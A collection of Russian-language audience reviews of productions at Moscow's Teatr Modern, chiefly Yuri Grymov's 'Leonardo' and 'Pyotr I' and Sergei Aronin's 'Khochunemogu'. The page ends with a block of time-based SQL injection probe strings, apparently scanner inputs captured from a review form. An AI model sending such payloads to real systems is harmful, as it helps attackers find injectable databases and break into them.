Для начала хочу сказать пару слов о самом театре. Театр Модерн - один из лучших театров Москвы. Здесь царит потрясающая атмосфера: во-первых, перед началом каждого спектакля в фойе звучит живая музыка; во-вторых, в театре располагается своя библиотека, то есть создана максимально уютная обстановка; в-третьих, приветливый персонал и вкуснейший буфет =)
В театре Модерн абсолютно все постановки шикарные, выходя после каждого спектакля испытываешь шквал эмоций (причем очень разных).
Буквально на днях смотрела спектакль «Леонардо». Уже по названию можно понять, что вас будет ждать что-то невероятное о таком великом человеке. Спектакль смотрится на одном дыхании (хотя и идет три часа).
Спектакль «Леонардо» поставлен Юрием Грымовым по одной из книг трилогии Дмитрия Мережковского «Христос и антихрист» (это «Петр», «Леонардо» и «Иуда»). Как вы уже поняли, это история о знаменитом художнике эпохи Возрождения – Леонардо да Винчи. В этой постановке раскрывается тонкая грань между добром и злом, и конечно же, отыскивается ответ на самый главный вопрос: Кто же Леонардо? Христос или Антихрист?
В главной роли Леонардо - Дмитрий Бозин, кстати, впервые вижу его, но скажу вам, очень эффектно и профессионально вживается в свою роль. Хочу отметить – его игра на сцене получилась очень реалистичной. Считаю, что роль подобрана удачно: бархатный голос, яркая внешность, великолепная пластика тела.
Грандиозный и яркий спектакль, очень интересный сюжет, держит в интриге с первой и до последней минуты, оригинальная сценография, масштабность, зрелищность, постановка полностью пропитана эстетикой эпохой Возрождения.
Отдельное внимание хочется уделить музыкальному сопровождению спектакля. Музыка максимально разнообразна по стилю и настроению. Браво режиссеру! Еще одна изюминка — это световое оформление. Светом даже рисуются картины на потолке. А кстати, художник по свету – тоже Юрий Грымов.
Мне спектакль очень понравился. Я в восторге, даже хочется пересмотреть еще раз. Костюмы, игра актеров, постановка – на высоте, как всегда! Этот спектакль буду рекомендовать всем своим друзьям и близким.
Браво режиссеру и всему актерскому составу за проделанную работу, 100% -ое попадание ролей, практически вся труппа театра задействована.
Все тонкости раскрывать не буду, зрителя будут ждать сюрпризы, так что бегом в театр.

🎭💫😔Зайку бросила хозяйка, под дождем остался зайка..." (с), но только для взрослых. Первое,что пришло мне в голову.
Мне посчастливилось побывать на спектакле "Кладбище понтов" в театре Модерн вместе с сыном.
Несколько слов о театре...Это один из моих любимых театров. В "Модерне" все изысканно,начиная с интерьера, заканчивая кафе с вкуснейшим кофе и фирменным пряниками по мотивам спектаклей. Очень теплая и уютная обстановка,интересно-что в театре обращают внимание на дресс-код зрителей, о чем они говорят в зрительном зале перед спектаклем.
Постановка Юрия Грымова по пьесе Рины Ю. Непривычно короткий спектакль без антракта, единственный его минус - его мало, мне хотелось бы дольше погружаться в истории и жизнь машин.
Кладбище понтов - это заброшенная стоянка для отживших свое, не подлежащих восстановлению дорогих и очень-очень дорогих машин. За ними ухаживает Аркадий, а хозяевам они не нужны. Но даже в таком положении эти несчастные не изменяют себе: они высокомерны,стараются держать марку изо всех сил... но до тех пор, пока не остаются совсем одни.
Рина Ю.
некогда написала короткий сценарий для мультика,потом переделала его в пьесу. Думаю, что только женщина-драматург могла населить короткую пьесу таким количеством главных персонажей. Десять автомобилей, десять не похожих друг на друга историй-судеб автомобилей. Каждый образ максимально продуман, у каждого есть своя история, жизнь до, жизнь сейчас и после. Я поймала себя на мысли,что ждала каждую следующую историю,чтобы понять,почему эта машина оказалась выброшенной?
Герои живут,развиваются, и мы можем это развитие наблюдать. Они искренне любят своих хозяев,гордятся ими,грустят, чувствуют страх и боль. Все они нам становятся понятны, близки, каждый вызывает переживания. А какие у этих машин истории! Это же буквально до слез!
Больше всего запали в душу образы Бабушки Тойоты (самая светлая и мудрая машина) и такой ранимый Ягуар. Хёндай разбавлял спектакль своим юмором, зал смеялся над его словами.

Сюжет спектакля приводит к тому, что в определенный момент машины хотят восстать против людей, но все же ОНИ остаются человечными, жертвуют собой и становятся духами. А кто знает, как выглядит душа машины? - в виде коня!!! ведь на небе даже есть созвездие брошенных машин. А вы знали?
Декорации минимальны, ведь это загородная свалка автохлама. Отдельный восторг-это костюмы героев и музыкальное сопровождение.
Музыка всегда очень точно подбирается Юрием Грымовым, в финале этого спектакля, звучит трек «Машины» Вячеслава Петкуна.
Зал был в полном восторге, когда услышал «Depeche Mode - Personal Jesus. Потрясающая игра актеров - я не отметила,но это очевидно,звёздный состав актёров "Модерна",как всегда был великолепен.
После спектакля в голове много мыслей и эмоций, можно посидеть в уютном кафе театра с горячим шоколадом и маршмеллоу и поразмышлять о спектакле. Сын (15 лет) сказал, что никогда не задумывался раньше о том, что у машин может быть душа и что нашу нужно бы уже помыть, а то обидется на нас. В этом что-то есть...и есть что обсудить после спектакля вечером вместе.
"Сострадать, верить и прощать способны даже те, кто, как нам кажется, лишен чувств" (с) Юрий Грымов

Свершилось! Я наконец-то посмотрела вторую часть трилогии "Антихрист и Христос" в театре модерн. Спектакль посвящен непревзойденном и до сих пор неразгаданному гению - Леонардо Да Винчи. В главной роли приглашенный Заслуженный артист России - Дмитрий Бозин. И это удача, как для режиссера и Актера, так и для всего Театра и его зрителей, когда встречаются два столь неординарных человека рождается шедевр. Восторг от и до, в визуальном экстазе и мыслительном напряжении, замерев, провела все три часа действия. А посмотреть здесь есть на что и поверьте шикарные костюмы и декорации, это меньшая часть из всего, что удивляет и приковывает глаз.
Густой дым и световые потоки- часть всей истории неотъемлемая и невероятно мистическая, они буд-то живые партнёры  взаимодействующие с героем, выявляя его суть, его двойственность.. Проявляясь то ярче, то ощутимее, свет и дым смешиваются, творя на сцене магию, что впитывает в себя Леонардо, преобразуя в свои изобретения и находки. Режиссерские решения изумляют, мало того что это очень эстетично и нетривиально, так и все продуманно и к финалу четко собирается в единую концепцию "Антихрист и Христос", представляя зрителю возможность поразмышлять на вечные темы добра и зла, природы человека, истоков власти, источников гения великих создателей.
В спектакле занята вся труппа, каждый даже небольшой по роли персонаж, это безупречный пазл в общей картине, имеющий свою значимость, несущий логику для понимания истории творца. Кассандра, Герцог, Савонарола, ученики и все окружение это отражение всех противоречивых качеств Леонардо, одновременные носители и пороков и веры, но ведь "Он верит в то, во что хочет", все то, что приписывают Мастеру, что ставят ему в укор, обвиняя, мы видим в них. Видим и правителя, который ненавидит людей и религиозных представителей, для которых служение далеко не на первом месте, и добродетельные ученики которые с лёгкостью предают и убивают. А Леонардо особо не задумываясь будучи властителем и света и тьмы внутри себя, исполняет свое предназначение, творит, изобретает, изучает, впитывает это окружающее его пространство и оставляет свое знание для вечности.
Одного просмотра здесь однозначно не достаточно, лично мне хочется узнать побольше о тех личностях, что пересекаются с Леонардо, о том времени, о каких-то фактах биографии, хочется понимать и разгадывать, то что так мастерски, тонко, грациозно преподнесено в спектакле. Считать, все, что не сказано словами, но заложено и сыграно взглядом, кончиками пальцев, передано пульсацией, дыханием, рыком и внутренней силой актеров.
А ещё хочется снова окунуться в пространство где здесь и сейчас рождается что-то очень важное лично в тебе, меняющее тебя, открывающее, вдохновляющее заставляющее замереть от возможности прикоснуться к вечности.

Отзыв от Софии и семьи от льготного досуга «Анна».
О посещении театра Модерн, детский спектакль «Три поросёнка и Серый волк», 14.05.2023

Огромное спасибо Благотворителю и АНО Центру льготного досуга «Анна» за потрясающий и очень приятный досуг для всей семьи.

Шикарная постановка, потрясающие артисты, которые очень живо, динамично и крайне интересно играли. Отличные места, все видно. Было очень интересно и весело смотреть и взрослым, чувствуется потрясающая постановка с уклоном на взрослую аудиторию и малышей, чтобы никто не остался равнодушным! Очень остроумные и интересные диалоги и сценки,мужу особенно понравилась игра серого волка. А дочка, которая только прельщается к театральной жизни и спектаклям, впервые с огромным интересом, пониманием смотрела весь спектаклт до самого конца и все было ей понятно и занимательно! Очень душевно провели время. А сам театр очень красочный , приятно прогуляться внутри по залам и полюбоваться роскошью и красотой антуража.
С радостью прийдем к Вам ещё, благодарим от всего сердца! Браво!!!

ХОЧУ написать отзыв, а все НЕ МОГУ подобрать слова, уж больно сам спектакль был настолько хорош с жизненной точки зрения сюжета и так прекрасно дополнен музыкальной составляющей (ранее ни одна исполненная композиция была мне незнакома).

После такого предисловия нужно пояснить, что смотрели спектакль в Театр "МОДЕРН" под названием "Хочунемогу". В котором и швец, и жнец, и на дуде игрец Сергей Аронин.

Сергей Аронин меня зацепил (как любителя поэзии) цветочками зла и в какой-то степени я ожидала нечто подобное, впрочем ожидания оправдались, но самого Сергея как актера было мне мало, очень мало. Хотя в одном образе он мне напомнил Маяковского и как знать может быть он когда-нибудь охватит и его творчество как когда-то прошелся по проклятым поэтам.

Люблю камерные пространства, они создают определенный эффект близости с артистами, стирают границу между залом и сценой. Когда сцена на уровне вытянутой руки и ты в первом ряду - то ощущение, что ты сам в центре событий. Такая близость даёт свою реакцию, актеры слышат эмоции и слова зрителей, и моментально реагируют, что-то добавляют в текст по ходу диалога, и сам спектакль становится одним живым организмом.

Все были хороши во всех ролях, а персонажей актеры меняли как перчатки, что намного сложнее обычного спектакля с одним отдельно взятым образом. Здесь же, щелк играем печаль, музыка и играем радость.

Все были хороши, но тембр голоса Анастасии Светловой просто сразил наповал, ее вокальные партии просто ласкали мой слух.

Понравилась фишка с использованием лисьих шапок, чем-то напомнили героинь фильма из Иронии судьбы, когда подружки-учителя забегали к Наденьке, а уж как актриса Мария Дианова вела диалог с собакой, держа в руках шапку - это было неподражаемо.

Мне понравился темп спектакля, каждая часть была разбита музыкальными номерами, как отбивками, трансформация декораций полным ходом шла во время переходов, не было рабочих сцены, актеры в ходе процесса быстро перестраивали мебель, забавно было смотреть как сделано лобовое стекло с дворниками и дождем, и опускающаяся лампа, чтобы подчеркнуть домашний очаг и уют.

Но в этой бочке меда была и ложка дегтя. Не поняла я костюм ребенка, одетого в зимнее пальто, шапку и варежки, и диалог - пойдем кататься на роликах. Видимо пытаясь скрыть за костюмами хрупкую Александру Богданову в роли девочки не учли сезонность инвентаря.

Кстати, когда ребенок учился кататься на роликах мы ему покупали защиту в виде шлема, наколенников, нарукавников, наколенников и перчаток, по сути тоже самое.

Елена Исаева автор постановки очень верно подметила, что чем старше становишься - то больше всего начинаешь бояться, каких-то действий, каких-то шагов, каких-то чувств.

Немного отвлекусь, как-то заехали в то место с которого мы прыгали на лыжах (небольшой трамплин, метров 5 не больше), тогда мы летали и ни о чем не думали, а увидев спустя годы мне внутренне стало плохо, фантазия сразу стала рисовать мрачные картины падений.

Так и в пьесе, в 20 ты не думаешь ни о чем, влюбляешься, выходишь замуж, рожаешь детей, а в 40 уже думаешь - а нужно ли тебе эти отношения, а не будет ли повторения разрыва, а как отреагируют дети, да и уйма других попутных вопросов.

#Хочунемогу спектакль только про любовь! И ни про что другое! - именно это обозначено как девиз спектакля в программке. Как сказала бы героиня фильма "Москва слезам не верит" - в сорок лет жизнь только начинается, и хочется верить, что у главной героини, несмотря на все ее переживания - тоже все будет хорошо.

только о любви и ни о чём больше"...❤

Вчера была в Театр "МОДЕРН" 🎭 на спектакле режиссёра Сергея Аронина #ХОЧУНЕМОГУ по пьесе Елены Исаевой - "Я боюсь любви"

О чем же спектакль...
Спектакль...О ЛЮБВИ!💞💞💞
Ведь каждый мечтает о НЕЙ, большой и светлой,одной и на всю жизнь...из разряда " и жили они долго и счастливо", о страсти,о нашей самой главной потребности-быть любимыми,о влюбленностях и поиске "своего" идеального человека.

Персонажи все разные,но с одним желанием-любить! В то же время говорящие о невозможности этого чувства для них... страхе полюбить того, кто любит тебя. О страхе измен,боли,переживаниях-все это как побочные явления той самой любви,ранящие и неизбежные... Спектакль идет практически 2 часа без антракта,время пролетает на одном дыхании,переживания и заботы всех героев начинают звучать словно рассказы от родных людей. Думаю,что во время просмотра спектакля, каждый увидит себя в тот или иной момент своей жизни, и, возможно, постановка поможет направить вас и помочь сделать правильный выбор,ведь куда проще запретить себе чувствовать,спокойно существовать в своей зоне комфорта, чем принять свою любовь и полностью отдаться чувствам. Во все времена о любви писали и говорили, но ОНА так осталась неразгаданной, противоречивой, радостью и болью одновременно.

Годы идут, люди расстаются,разрушаются браки,копилочка из "бывших" пополняется, и в определенный момент ты понимаешь,что страшно и уже не хочется начинать все сначала,надежда найти свое счастье - неминуемо тает.

История ведется от героини Нади,она рассказывает о себе и об истории из жизни своей подруги журналистки Ани, которая встретила Сергея - и неожиданно поняла, что это и есть любовь,но не может решиться сделать выбор:буря эмоций или уже привычная стабильность...?
И вот она общается с женщинами разного возраста,чтобы понять,как ей правильно поступить. Дамы с разными судьбами,они размышляют на тему позволить ли себе любить,всем очень хочется любви, одиночество съедает,или это опасно и будет еще хуже...ведь можно обжечься в очередной раз,и в очередной раз будет больно.

Хотелось бы отметить Юмор в спектакле, весь зал смеялся от души! 💥Особенно порадовали персонажи Анастасии Светловой и Маргариты Шиловой - смешные и обаятельные одновременно! Очень иронична постановка,несмотря на всю глубину вопроса...Мне, как зрителю,так проще было воспринимать и по итогу сделать непростой для себя вывод,"просто-о сложном".

Театр небольшой камерный, как я люблю, очень уютно и атмосферно, особенно,сидя на первом ряду.💫
Из декораций стулья! Много стульев..как и самих персонажей. В спектакле около 50 персонажей, каждый актер играет 3-4 роли, молниеносно перевоплощаясь из одной в другую.

Живая авторская музыка, много песен!🎶 Сергей Аронин является не только композитором постановки,но и клавишником🎹,еще и играет 2 роли.

Хотела бы выделить потрясающую игру актеров: Марии Орловой,Анастасии Светловой, Сергея Аронина,Надежды Меньшовой и других...все персонажи получились уникальные,все роли главные!

Спектакль о простых вещах, о том, о чем мы все знаем, но боимся себе признаться. Я считаю,что самая главная мысль спектакля была сказана в конце,как подведение итога,на примере дочки Нади,у которой глаза светятся от музыки,а не от любви...самое главное научиться быть счастливым с самим собой,чтобы наше счастье не зависело от другого человека,что счастье-это не всегда любовь.

В выходные, на малой сцене театра "Модерн", давали постановку режиссёра Сергея Аронина, по пьесе Елены Исаевой - "Я боюсь любви" – «Хочунемогу»

О чем этот спектакль?! О том, о чем мечтает каждый вне зависимости от пола и возраста! Спектакль, о любви!!! И только о любви!
О потребности человека любить и быть любимым, о поиске своей второй половинки, своего идеала, о влюблённости, о страсти!!!
И о страхе… О страхе любить и быть отвергнутым, о страхе неразделенности и расставаний, боли и горечи измен…, о страхе «побочек» этого прекрасного чувства…
И конечно про выбор. Индивидуальный выбор каждого: бросаться ли в омут, в круговорт чувств или… запретить себе любить и не выходить из своей "зоны комфорта"…
Мне кажется, после просмотра, каждый задаст, и возможно, ответит себе на этот вопрос…
Рассказ ведется от имени героини Нади, которая в полумраке, в кресле, при свете абажура, в уютной обстановке ведет свой рассказ, про очень личное и откровенное… Рассказывая про себя и свою подругу Аню, которая работает журналистом и стоит перед непростым выбором: совершить импульсивный шаг и окунуться в омут новых чувств и возможно, стать счастливой или оставить в своей жизни стабильность, которая не во всём её устраивает…

Постановка – жизненная (уверенна, вы увидите в героях «Хочунемогу» себя и своих друзей, знакомых), живая, динамичная, и не смотря на серьезность вопроса – очень легкая и ироничная…
Юмор – на высшем уровне! Смех в зрительном зале – неотъемлемая часть этого спектакля! И это здорово!!!
Потрясающее музыкальное сопровождение!
Живое исполнение музыки и великолепные голоса артистов! Вся музыка в спектакле авторская и исполняется в живую. За время работы над спектаклем внутри театральной труппы появился свой музыкальный коллектив.
Кстати! Сергей Аронин, является не только режиссером, но композитором спектакля, а так же играет в нём в качестве актера на сцене!
Одной интересной особенностью #хочунемогу, является, то, что каждый актер успевает сыграть несколько ролей во время спектакля, при этом, роли – совершенно разные, а общее количество персонажей на сцене достигает пятидесяти!
Главные роли исполнили: заслуженная артистка России Маргарита Шилова, заслуженная артистка России Анастасия Светлова, Сергей Аронин, Надежда Меньшова и другие...
Игра актеров – блестящая! Смотрели на одном дыхании!!!
Наверное, единственное, к чему и можно «придраться» - спектакль идет 1.40 без антракта и… А хочется подольше и ещё!!!)

При всей легкости исполнения, присутствует глубокий смысл… Постановка про отношения и очень психологическая, одновременно оставляет и приятное послевкусие и заставляет задуматься…

Любимый театр "Модерн" призывает: «Выключи телевизор – иди в театр!» - и я к этому призыву полностью присоединяюсь!!! Окунуться в живую энергетику - бесценно!

Походы в Театр "МОДЕРН" это отдельный вид искусства для меня и, безусловно – это праздник!
Я открыла для себя этот театр и режиссёра-постановщика Юрия Грымова, первым спектаклем масштабной трилогии "Антихрист и Христос" Пётр 1. Не так давно я побывала на втором спектакле этой трилогии "Леонардо". "Леонардо" - не менее масштабнее первого спектакля.

Конец 14-го и начало 15 веков в Италии называют эпохой Высокого Возрождения, ярчайшими представителями которого были Леонардо да Винчи, Микеланджело и Рафаэль. Главным мотивом искусства Высокого Возрождения выступает образ гармонически развитого и сильного как телом, так и духом человека, который находится выше повседневной обыденности.

Масштабность постановки. На сцене задействована вся труппа актеров театра. Каждый актер на своем месте и хочу сказать, что у меня сложилось впечатление работы отлаженного часового механизма, где каждый из актеров как часть этого самого часового механизма и вместе они как единый творческий организм на сцене. Каждый вложился в роль максимально.
Зрителю дано самостоятельно решить, кем же был Леонардо – гением или злодеем, Антихристом или Христосом.

Обратный отсчет на занавесе, как и в первом спектакле трилогии, дает старт спектаклю. Юрий Грымов задумал очень интересно этот ход, как будто бы мы переносимся на машине времени в другие эпохи и таким образом приближаемся к финалу трилогии и истории Иуды. И я с нетерпением жду этот спектакль.

В "Леонардо" показана история жизни великого художника и гения, который служил не слишком правильным личностям, писал портреты и фрески, увлекался наукой, пытался создать крылья для человека и мощную бомбу.

Этот спектакль актуален и в сегодняшний день, в нем отражена вся сложность нашего мира, времена идут, эпохи сменяют друг друга, но мир остается все тем же, что и раньше. Люди продолжают искать смысл жизни, пытаются познать этот мир и найти себя и свою миссию в нём. Так же и великий художник Леонардо во времена своей эпохи стремился к открытиям, несмотря на разочарования и трагедии, которые случались в его жизни.

По задумке режиссёра спектакля мы увидим переход Западной Европы из Средневековья в новый период развития эпохи Возрождения, где переплетается божественное и человеческое.

Гениальность Леонардо да Винчи проявлялась во многих сферах деятельности - он и философ, и архитектор, инженер, скульптор, изобретатель, писатель, музыкант, ученый-анатом. Леонардо мечтает о невозможном - состязаться с великими творцами античности. Все его исследования основываются на опытах. На своих холстах он изображает красоту в правильных пропорциях.

Знаменитая картина «Мона Лиза» и ее «следящий» взгляд - ученые до сих пор не могут ее разгадать, наверное, потому, что картина так и не была закончена художником. Каждый видит на картине то выражение лица Лизы Джокондо, которое хочет видеть. В роли Джоконды в спектакле играет, безумной красоты актриса, Маина Чижевская.

Еще один повод пойти на спектакль "Леонардо" в театр Модернъ чтобы посмотреть на игру заслуженного артиста России Дмитрия Бозина, к слову, именно таким я и представляла себе великого художника Леонардо. Бозин очень характерно и реалистично передал своей игрой то, каким на самом деле был этот художник. Чтобы понять глубокий замысел мастера нужно уметь видеть душой.
Спектакль наполнен множеством неожиданностей и весь интересных моментов, но я не буду рассказывать в деталях, что именно я увидела, пусть каждый зритель имеет право на этот "вау- эффект". Поверьте, это настолько неожиданно и необычно, я с восторгом ребенка наблюдала за разворачивающимися событиями на сцене.

Отдельное внимание хочется уделить декорациям и свету в постановке. При минимуме декораций, свет играет очень важную роль, он как еще один актер на сцене, исполняет свою важную роль. Я еще раз убедилась в том, что необязательно заполнять сцену бутафорией и громоздкими декорациями, их роль в спектакле не первостепенна, достаточно грамотно и красиво обыграть светом разворачивающиеся события на сцене. И, поверьте, Юрию Грымову это удается в каждом спектакле поставленным им.

Костюмы. Красота и богатство костюмов перевоплощает актеров и наполняет смыслом их роли и вот мы уже видим перед собой не просто актера в костюме тогдашней эпохи, а историческую личность, сошедшую на несколько часов к нам в наше время. Мне даже самой, на мгновение, захотелось примерить на себя платье "Дамы с горностаем". Хочется отдельно отметить игру актера Юрия Анпилогова – герцога Милана, Миро. Кстати, Юрий Анпилогов в первой части трилогии Пётр, воплотил перед нами настоящего Царя Петра. У меня мурашки от того как он характерно перевоплощается в роль. Кассандру сыграла, жгучей красоты, актриса Надежда Селиванова. Почему-то каждый раз, когда я вижу эту актрису перед глазами, сразу ассоциация с Миледи Винтер Дюма.

Все в этой трилогии прекрасно от игры света до музыкального сопровождения, все гармонично дополняет друг друга и складывается в единый пазл. Актеры играют как слаженный часовой механизм, где взаимодействие каждого, играет очень важную роль.

Все в спектакле сложилось с первой до последней сцены, все органично и логично. На меня произвел очень сильное впечатление момент со сценой Тайной вечери – еще один повод сходить на спектакль "Леонардо" чтобы воочию увидеть эту сцену. Поверьте, такого решения вы точно нигде не увидите!

Финальная сцена является логическим завершением и произвела на меня глубокое впечатление. И здесь тоже отыгран очень необычный момент в спектакле, который вызывает восторг.

Спектакль произвел на меня большое впечатление, обязательно нужно смотреть все части трилогии: Пётр 1, Леонардо, теперь с нетерпением буду ждать третью часть - Иуда.

Рекомендую к просмотру, если вы любите исторические спектакли, вы будете в восторге от масштаба постановки и режиссерской задумки.

Единственными постановками, которыми я заворожена в городе, это театр «Модерн», Юрий Грымов. Это уникальный сверх-художественный световой стиль при минимализме сцены, тщательное музыкальное оформление, смелые темы, которые казалось бы не охватить, но Грымов умеет создавать эмоциональный исторический разрез. Теперь это был «Пётр I» из трилогии «Антихрист и Христос». И с первых «кадров» понеслось! Да, у Грымова очень кинематографично!

Такие характеры, как Пётр, мы будем разгадывать и обмусоливать вечно. Инноватор и тиран по-прежнему будоражит умы. С ним тянет соприкасаться сквозь века. Кем же был он для России: Христом или Антихристом? Мы размышляем над этим контрастом весь спектакль. Десятилетия жизни царя проносились, как главы книги. Кстати, по А.Толстому. А Грымов утверждает про свет и тьму в каждом из нас, что мне импонирует.

Пётр I Юрия Анпилогова силён, как и все, кого играет эта харизматичная личность с могущественной энергетикой. От него на сцене невозможно оторваться.

Костюмы (300 штук!) исполнены фантастически: детально реалистично и гипертрофировано фантазийно. Минимум реквизита, максимум символизма: например, кораблики — новый флот.

Прежде всего, люди, характеры, переплетения, судьбы, события, вехи. Столько живой драмы важных персон эпохи прошло перед наши глазами, плюс вечно страдающая толпа, касты, субординации, взаимоотношения. Истории жизни с историями страны.

Убедительная игра всех актёров, стоящих идеально на своих местах (в обоих смыслах).

В очередной раз я наслаждалась магией визуала со смыслом. Немыслимо, как у Грымова в голове рождаются эти образы, картины и средства. Это светопись высочайшего воздействия, зритель полностью пленён.

Конечно, будет много провокации. Грымов — смелый джежай. Но всё как будто в соответствии с гармоничными пропорциями «золотого сечения». Может быть, это и есть секрет?

Второе действие, как обычно, всех истерзает. А как ещё? Берёмся за глубокие пласты. В завороженности почти до транса.

Грымовские постановки — это переживание, полная иммерсивность, хотя сидишь в зале и тебя никто ни во что не вовлекает, но все твои чувства перетряхиваются по-полной. Пишу и до мурашек.

«Модерн» — это на мой взгляд, флагман нового визуального и смыслового театра, возможно, даже мирового масштаба. Очередное Браво!

Посмотрел спектакль Леонардо. Очень сильная режиссерская работа, которая поднимает вопрос о роли художника и его ответственности перед обществом. Леонардо - художник и изобретатель - создавал и шедевры, которыми человечество восхищается до сих пор, и изобретал орудия уничтожения. Украшал фресками города и выдавал их врагам планы оборонительных сооружений. Написал прекрасную и непорочную Мону Лизу, и Иоанна Крестителя - картину, вызывающую крайне противоречивые эмоции. Кстати, интересный момент. В этом спектакле Леонардо играет Дмитрий Бозин - замечательный актер театра Романа Виктюка, исполняющий в спектакле "Саломея, или Странные игры Оскара Уайльда" Соломею - иудейскую царевну, ставшую причиной гибели Иоанна Крестителя. Пластика Дмитрия, его взгляд, направленный в вечность делают образ Леонардо глубоким и многогранным. Также хочется отметить игру Юрия Анпилогова, исполняющего роль Моро, герцога Милана. В первом спектакле трилогии "Антихрист и Христос" он играл Петра I, мощного и целеустремленного императора. В этот раз его герой - умный, хитрый и коварный правитель. Наблюдать за эмоциями актера доставляет огромное удовольствие. Советую сходить на спектакль, не пожалеете.

Атмосферу этого здания люблю давно, с первого посещения лет пять назад, но спектаклями не очень складывалось. Не было ощущения полного восторга. И вот случилось.
Спектакль театра Модернъ "Леонардо" из тех, посещение которых можно приравнять к посещению картинной галереи. Так замечательно выстроены все сцены, что почти каждая может служить объектом фотосессии. Великолепные костюмы Ирэн Белоусовой, отлично поставленный свет, интересное музыкальное сопровождение. Через строку в списке создателей упоминается имя режиссера Юрия Грымова Юрий Грымов . Для воплощения своего замысла — постановки по роману Дмитрия Мережковского «Воскресшие боги. Леонардо да Винчи», — Юрий Вячеславович кроме общего руководства взял на себя функции художника-сценографа, художника по свету, ответственного за музыкальное оформление.
Любит режиссер масштабные проекты. Большое количество действующих лиц - около тридцати, — и это, вероятно, не все упоминаемые в романе. На роль Леонардо приглашен Дмитрий Бозин. Мной этот выбор воспринимается двояко. Пластика его прекрасна, движения грациозны и завораживающи, но вот в голосе столько механистичности и замороженности (хотя нет ни капли виктюковской вычурности), что это раздражает и вызывает неприятие. Возможно, именно этого эффекта и добивался режиссер, ведь он рассматривает Леонардо как личность, через которую несут свой месседж одновременно Христос и Антихрист.
Художественная и изобретательская гениальность сочетаются в Леонардо с редкостным равнодушием к последствиям того, что могут принести его изобретения людям. Допустим, что разработка военных орудий и опыты по созданию мин с наибольшей убойной силой оправданы заботой о безопасности государства, в котором живешь. Но безэмоциональность к гибели человека, решившего выступить испытателем сконструированных Леонардо крыльев, в очередной раз ставит перед зрителем вопрос: насколько изобретатель ответственен за последствия применения изобретений. Для Леонардо чужая смерть — всего лишь издержки на пути науки.
Постулат об отрешенности от человеческих чувств и абсолютной свободе, если хочешь следовать своему пути художника и творца, приводит гения к внутренним запретам иметь привязанности и к одиночеству. Самое большое проявление чувств зритель видит лишь в момент, когда Леонардо слышит весть о кончине Моны Лизы. Остроумное световое решение: цветные краски меркнут, сцена и герои на ней становятся черно-белыми.
Крепко привязывают внимание зрителя к сцене вплетенные в сценическое повествование отсылы к работам мастеров Возрождения. Что-то очевидное, как Тайная вечеря или Сикстинская капелла, что-то быстро мелькающее, как Дама с горностаем или Витрувианский человек, а что-то ощущаемое, как фрагмент Страшного суда Микеланджело, но не поддающееся четкой идентификации. Хотя, если у вас насмотренность больше, то вы, возможно, сможете подсказать, какая художественная работа лежит в основе «живой картины».

Я много раз слышала про театр Модерн но я не могла даже представить себе что это так! Мне кажется настоящий театр должен быть именно таким) как в кино! Каком то крутом шоу!!!Ведь говорят что театр это как праздник для людей но такого ощущение ни в одном не было…просто начиная со входа) Была уже на нескольких спектаклях, каждый спектакль очень интересный, современный, невозможно оторваться от сцены!Игра актеров, режиссура, костюмы всё очень круто!!!!

О дивный новый мир - уникальный спектакль!
Это мой первый спектакль в Театре Модерн! И выбор этого спектакля неслучайный, тема "Дивного нового мира" сейчас актуальна как никогда.
Когда читаешь роман, представляешь свой дивный мир, но картинка не будет такой зрелищной, как в театре.
Колоритный, зрелищный, впечатляющий со своей философией о «прогрессирующем» государстве, где возведены в основу следующие ценности: беззаботность, сексуальная свобода и потребление и кастовая система общества.
Фантастические декорации, костюмы, интересный сценический образ актеров, световое решение, музыка так органично передает настроение, характер, эмоции актеров.
В спектакле участвует вся труппа театра! И все актеры показали "О дивный новый мир", в котором НЕТ слез, сожалений, печали и боли.
Спектакль непростой, но стоит сходить и увидеть!

После показа в Театре "МОДЕРН" спектакля "Леонардо" захотелось увидеть представление "Петр 1"- первую часть трилогии "Антихрист и Христос" режиссера Юрия Грымова по мотивам одноименной трилогии Д.С. Мережковского, А.Н. Толстого.
Спектакль о жизни великого правителя России, последнего русского царя и первого императора из династии Романовых.

Петр 1 - фигура очень сильная и сложная, он являлся великим реформатором, прорубившим "окно в Европу". Ему удалось создать мощный флот, присоединить к России новые земли, основать Петербург, повлиять на развитие культуры.

На протяжении всего спектакля зрители наблюдают конфликт между героями (отцом и сыном), борьбу язычества и христианства, души и тела, света и тьмы. Петр 1 изображён "антихристом", который добивался своих целей жестоко расправляясь ни только с поддаными и крестьянами, об этом свидетельствовала сцена расправы над взбунтовавшимися стрельцами (на потолке были подвешены макеты трупов), зрителю была продемонстрирована сцена расправы над любовником Екатерины Виллиамом Монсом, путем отсечения головы и помещения ее в банку), но и конфликт с собственным сыном (носителем веры, царевичем Алексеем , сыгрвший в блестящей роли Владислав Свиридов), который заканчивается его убийством.

Роль Петра 1 сыграл Юрий Анпилогов, которому удалось настолько правдоподобно и естественно слиться с образом царя на сцене, местами казалось, что действительно перед зрителями предстал сам император. Какое грациозное и выразительное было его первое появление на сцене в начале спектакля под будоражущую музыку, при правильно-подобранном освещении, под струящимя в воздухе парусе, с высоченным посохом в руке.

Не менее впечатляющей оказалась сцена, где уставший от предательств и заговорв, болезненный и обессиленный Петр обращается к Богу и просит наказать его и спасти Россию.

Спектакль шёл 2,5 часа и за это время можно было посмотреть все самые важные эпизоды правления русского императора. Можно было полюбоваться невероятными по своему исполнению 300 костюмами, которые создала художник Ирэна Белоусова, они изысканно подчеркнули времена петровских перемен, из них актрисы продемонстрировали 6 платьев, распечатанных на 3d принтере с изображением барельефов.
Так же в день показа в фойе авторского театра "Модерн" устанавливается точная копия короны российской империи.

@@ZXpoI

1'"

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

UlzpTQNz')) OR 637=(SELECT 637 FROM PG_SLEEP(15))--

YURuWncP') OR 453=(SELECT 453 FROM PG_SLEEP(15))--

TeYG3FdT' OR 41=(SELECT 41 FROM PG_SLEEP(15))--

-1)) OR 758=(SELECT 758 FROM PG_SLEEP(15))--

-5) OR 807=(SELECT 807 FROM PG_SLEEP(15))--

-5 OR 759=(SELECT 759 FROM PG_SLEEP(15))--

QjQrAGZ8'; waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1; waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

